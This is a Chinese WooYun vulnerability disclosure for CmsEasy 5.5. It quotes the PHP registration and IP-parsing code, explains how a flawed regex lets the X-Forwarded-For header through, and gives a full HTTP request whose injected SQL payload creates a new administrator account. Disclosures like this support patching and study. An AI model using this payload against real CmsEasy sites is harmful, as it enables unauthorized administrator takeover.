当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(19) 关注此漏洞

缺陷编号: WooYun-2014-63525

漏洞标题: CmsEasy最新版SQL注入可注册管理员

相关厂商: cmseasy

漏洞作者: xfkxfk认证白帽子

提交时间: 2014-06-04 17:45

公开时间: 2014-09-02 17:46

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 第三方不可信程序 php源码审核 php源码分析

3人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-04: 细节已通知厂商并且等待厂商处理中
2014-06-05: 厂商已经确认,细节仅向厂商公开
2014-06-08: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-07-30: 细节向核心白帽子及相关领域专家公开
2014-08-09: 细节向普通白帽子公开
2014-08-19: 细节向实习白帽子公开
2014-09-02: 细节向公众公开

简要描述:

CmsEasy最新版SQL注入可注册管理员

详细说明:

CmsEasy_5.5_UTF-8_20140420.rar

官方最新版存在SQL注入,无视GPC,可获取管理员账户,可注册管理员

不知道跟之前蓝哥的那个重复么,先发再看吧。。。



文件/lib/default/user_act.php

code 区域
function respond_action() {
ini_set("display_errors","On");
$classname = front::$get['ologin_code'];
if(front::post('regsubmit')) {
if(!config::get('reg_on')) {
front::flash(lang('网站已经关闭注册!'));
return;
}
if(front::post('username') != strip_tags(front::post('username'))
||front::post('username') != htmlspecialchars(front::post('username'))
) {
front::flash(lang('用户名不规范!'));
return;
}
if(strlen(front::post('username'))<4) {
front::flash(lang('用户名太短!'));
return;
}
if(front::post('username') &&front::post('password')) {
$username=front::post('username');
$password=md5(front::post('password'));
$data=array(
'username'=>$username,
'password'=>$password,
'groupid'=>101,
'userip'=>front::ip(), //======问题在这里======
$classname=>session::get('openid'),
);
if($this->_user->getrow(array('username'=>$username))) {
front::flash(lang('该用户名已被注册!'));
return;
}
$insert=$this->_user->rec_insert($data);
$_userid = $this->_user->insert_id();
if($insert){
front::flash(lang('注册成功!'));
}else {
front::flash(lang('注册失败!'));
return;
}
$user=$data;
cookie::set('login_username',$user['username']);
cookie::set('login_password',front::cookie_encode($user['password']));
session::set('username',$user['username']);
front::redirect(url::create('user'));
exit;
}
}

if (front::post('submit')) {
if (front::post('username') && front::post('password')) {
$username = front::post('username');
$password = md5(front::post('password'));
$data = array(
'username' => $username,
'password' => $password,
);
$user = new user();
$row = $user->getrow(array('username' => $data['username'], 'password' => $data['password']));
if (!is_array($row)) {
$this->login_false();
return;
}
$post[$classname] = session::get('openid');
$this->_user->rec_update($post, 'userid=' . $row['userid']);
cookie::set('login_username', $row['username']);
cookie::set('login_password', front::cookie_encode($row['password']));
session::set('username', $row['username']);
front::redirect(url::create('user'));
return;
} else {
$this->login_false();
return;
}
}

include_once ROOT.'/lib/plugins/ologin/'.$classname.'.php';
$ologinobj = new $classname();
$status = $ologinobj->respond();
//var_dump(session::get('openid'));exit;
$where[$classname] = session::get('openid');
if(!$where[$classname]) front::redirect(url::create('user'));
$user = new user();
$data = $user->getrow($where);
if(!$data){
$this->view->data = $status;
}else{
cookie::set('login_username',$data['username']);
cookie::set('login_password',front::cookie_encode($data['password']));
session::set('username',$data['username']);
front::redirect(url::create('user'));
}

}



我们再进入ip()函数:

文件/lib/tool/front_class.php

code 区域
static function ip() {
if ($_SERVER['HTTP_CLIENT_IP']) {
$onlineip = $_SERVER['HTTP_CLIENT_IP'];
}
elseif ($_SERVER['HTTP_X_FORWARDED_FOR']) {
$onlineip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
elseif ($_SERVER['REMOTE_ADDR']) {
$onlineip = $_SERVER['REMOTE_ADDR'];
}
else {
$onlineip = $_SERVER['REMOTE_ADDR'];
}
if(config::get('ipcheck_enable')){
if(!preg_match('/^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$/', $onlineip)&&!preg_match('@^\s*((([0-9A-Fa-f]{1,4}:){7}(([0-9A-Fa-f]{1,4})|:))|(([0-9A-Fa-f]{1,4}:){6}(:|((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})|(:[0-9A-Fa-f]{1,4})))|(([0-9A-Fa-f]{1,4}:){5}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){4}(:[0-9A-Fa-f]{1,4}){0,1}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){3}(:[0-9A-Fa-f]{1,4}){0,2}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){2}(:[0-9A-Fa-f]{1,4}){0,3}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:)(:[0-9A-Fa-f]{1,4}){0,4}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(:(:[0-9A-Fa-f]{1,4}){0,5}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})))(%.+)?\s*$@', $onlineip)){
exit('来源非法');
}
}
return $onlineip;
}



乍一看没什么问题,对ip进行了过滤

但是我们看看后面的那个正则的最后面:

(%.+)?\s*

这里有一个%,然后后面可以跟任何内容,**.**.**.**%xxxxxx

这样也是符号正则的,这不就绕过了。。。。

难道这是后门?!

最后进入了:$insert=$this->_user->rec_insert($data);

导致了注入产生。。。

漏洞证明:

之前的用户信息:

1.png



发送请求:

code 区域
POST /cmseasy1/index.php?case=user&act=respond HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 66
X-Forwarded-For: **.**.**.**%'),('xfkxfk','e10adc3949ba59abbe56e057f20f883e','2','**.**.**.**')#

username=666666&password=666666&regsubmit=%2B%E6%B3%A8%E5%86%8C%2B



2.png



成功添加管理员xfkxfk

3.png

修复方案:

我不知道这个%是干啥的,没想通。。。

把后面的改一下就好了吧?!

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-06-05 11:10

厂商回复:

感谢

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-06-07 13:55 | wefgod ( 核心白帽子 | Rank:1825 漏洞数:183 | 力不从心)
    0

    http://loudong.360.cn/vul/info/id/7276 一个问题?

  2. 2014-06-08 20:31 | xfkxfk 认证白帽子 ( 核心白帽子 | Rank:2299 漏洞数:351 | 呵呵!)
    0

    @wefgod 不是,你所说漏洞在wooyyun重复,已被提交

  3. 2014-06-09 10:51 | wefgod ( 核心白帽子 | Rank:1825 漏洞数:183 | 力不从心)
    0

    @xfkxfk 原来如此

  4. 2014-07-25 17:23 | pandas ( 普通白帽子 | Rank:701 漏洞数:79 | 国家一级保护动物)
    0

    细心,这都被你发现了

登录后才能发表评论,请先 登录